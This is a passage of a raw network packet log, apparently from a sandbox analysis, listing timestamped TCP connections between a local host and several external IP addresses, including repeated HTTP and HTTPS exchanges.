Jan 10, 2025 22:14:17.505008936 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.505079985 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.505095959 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.505145073 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.510981083 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.511075974 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.517076015 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.517144918 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.517163038 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.517211914 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.534101009 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.534271955 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.534363031 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.534450054 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.534471035 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.534471035 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.534482956 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.534496069 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.534508944 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.534528017 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.535820961 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.535927057 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.536370039 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.536428928 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.541631937 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.541697025 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.541698933 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.541712999 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.541743040 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.541784048 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.546958923 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.547027111 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.547035933 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.547077894 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.552484989 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.552546978 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.552576065 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.552628040 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.557460070 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.557524920 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.557542086 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.557594061 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.562644005 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.562716007 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.562730074 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.562784910 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.568722010 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.568794966 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.568814039 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.568861008 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.571742058 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.571799994 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.571832895 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.571942091 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.576325893 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.576389074 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.576400995 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.576471090 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.581017971 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.581120014 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.581127882 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.581204891 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.585586071 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.585702896 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.585711956 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.585762024 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.590281963 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.590363026 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.590373039 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.590415001 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.594643116 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.594706059 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.594717979 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.594765902 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.598902941 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.598944902 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.598994970 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.599004030 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.599045992 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.599066019 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.599126101 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.599138021 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.599186897 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.599224091 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.599240065 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:18.040087938 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:18.044917107 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:18.044990063 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:18.045551062 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:18.050359011 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:19.132848024 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:19.142781973 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:19.147602081 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:19.438960075 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:19.480720043 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:19.733951092 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:19.733963013 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:19.734038115 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:19.736207962 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:19.736219883 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.195122957 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.195336103 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:20.204762936 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:20.204773903 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.205097914 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.247010946 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:20.360112906 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:20.403340101 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.476053953 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.476125956 CET	443	49973	104.21.32.1	192.168.2.7
Jan 10, 2025 22:14:20.476250887 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:20.493288994 CET	49973	443	192.168.2.7	104.21.32.1
Jan 10, 2025 22:14:25.953408003 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:25.958338976 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:26.246644974 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:26.257728100 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.257781029 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.257884026 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.258294106 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.258311033 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.293284893 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:26.895637035 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.895798922 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.897577047 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.897587061 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.897849083 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.899295092 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.939322948 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:26.939369917 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:26.939380884 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:27.330651999 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:27.330730915 CET	443	49974	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:27.330785036 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:27.331216097 CET	49974	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:27.480464935 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:27.481574059 CET	49975	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:27.485546112 CET	80	49972	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:27.485618114 CET	49972	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:27.486378908 CET	80	49975	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:27.486450911 CET	49975	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:27.486536026 CET	49975	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:27.491334915 CET	80	49975	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:28.979832888 CET	80	49975	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:29.027759075 CET	49975	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:29.033828974 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.033884048 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.033961058 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.034483910 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.034497976 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.641664028 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.644922018 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.644942999 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.644994974 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.645000935 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.966046095 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.966156960 CET	443	49976	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:29.966206074 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.966559887 CET	49976	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:29.971235991 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:29.978658915 CET	80	49977	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:29.978816032 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:29.978892088 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:29.986742973 CET	80	49977	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:30.886034012 CET	80	49977	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:30.887440920 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:30.887497902 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:30.887567043 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:30.887950897 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:30.887964964 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:30.933897018 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:31.523397923 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:31.526587009 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:31.526622057 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:31.526683092 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:31.526691914 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:31.991010904 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:31.991226912 CET	443	49978	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:31.991297960 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:31.991657972 CET	49978	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:32.005933046 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:32.010492086 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:32.010979891 CET	80	49977	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:32.011063099 CET	49977	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:32.015346050 CET	80	49979	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:32.015575886 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:32.015575886 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:32.020442963 CET	80	49979	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:32.872109890 CET	80	49979	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:32.873481035 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:32.873591900 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:32.873745918 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:32.874135017 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:32.874172926 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:32.918275118 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:33.516954899 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:33.518846035 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:33.518877029 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:33.518951893 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:33.518960953 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:34.010163069 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:34.010251045 CET	443	49980	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:34.010319948 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:34.010837078 CET	49980	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:34.014030933 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:34.015160084 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:34.019001007 CET	80	49979	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:34.019073009 CET	49979	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:34.020020962 CET	80	49981	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:34.020086050 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:34.020164013 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:34.024981976 CET	80	49981	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:34.988560915 CET	80	49981	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:34.989685059 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:34.989799976 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:34.989917994 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:34.990145922 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:34.990184069 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:35.043298960 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:35.615792990 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:35.617614985 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:35.617686987 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:35.617786884 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:35.617804050 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:36.003089905 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:36.003182888 CET	443	49982	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:36.003302097 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:36.003849030 CET	49982	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:36.007422924 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:36.008819103 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:36.012394905 CET	80	49981	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:36.012473106 CET	49981	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:36.013684988 CET	80	49983	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:36.013758898 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:36.013865948 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:36.018599987 CET	80	49983	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:36.889926910 CET	80	49983	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:36.891561031 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:36.891602993 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:36.891696930 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:36.891964912 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:36.891974926 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:36.933917999 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.524553061 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:37.526200056 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:37.526222944 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:37.526292086 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:37.526299000 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:37.923801899 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:37.923943996 CET	443	49984	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:37.924016953 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:37.924417973 CET	49984	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:37.927637100 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.928808928 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.932657957 CET	80	49983	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:37.932724953 CET	49983	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.933634996 CET	80	49985	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:37.933705091 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.933798075 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:37.938550949 CET	80	49985	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:39.060758114 CET	80	49985	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:39.062355995 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:39.062417030 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:39.062517881 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:39.062776089 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:39.062786102 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:39.105811119 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:39.698436022 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:39.700474024 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:39.700514078 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:39.700597048 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:39.700607061 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:40.026748896 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:40.026843071 CET	443	49986	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:40.026896954 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:40.027255058 CET	49986	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:40.033289909 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:40.034666061 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:40.038340092 CET	80	49985	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:40.038389921 CET	49985	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:40.039423943 CET	80	49987	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:40.039480925 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:40.039592981 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:40.044447899 CET	80	49987	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:40.847826958 CET	80	49987	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:40.852009058 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:40.852049112 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:40.852118969 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:40.852351904 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:40.852365971 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:40.902650118 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.484555960 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:41.486850023 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:41.486862898 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:41.486931086 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:41.486938953 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:41.704976082 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:41.705064058 CET	443	49988	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:41.705157042 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:41.707124949 CET	49988	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:41.736915112 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.737695932 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.742822886 CET	80	49987	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:41.743565083 CET	80	49989	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:41.743629932 CET	49987	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.743654013 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.747735977 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:41.753468037 CET	80	49989	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:42.572724104 CET	80	49989	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:42.574081898 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:42.574136019 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:42.574218988 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:42.574479103 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:42.574491978 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:42.621395111 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.189793110 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:43.191714048 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:43.191751003 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:43.191800117 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:43.191812992 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:43.512492895 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:43.512572050 CET	443	49990	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:43.512768984 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:43.513056993 CET	49990	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:43.516338110 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.517702103 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.521908998 CET	80	49989	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:43.521975040 CET	49989	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.522490978 CET	80	49991	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:43.522550106 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.522624016 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:43.527406931 CET	80	49991	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:44.362341881 CET	80	49991	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:44.372855902 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:44.372895956 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:44.372980118 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:44.392501116 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:44.392513990 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:44.418271065 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.012624025 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:45.015008926 CET	49992	443	192.168.2.7	149.154.167.220
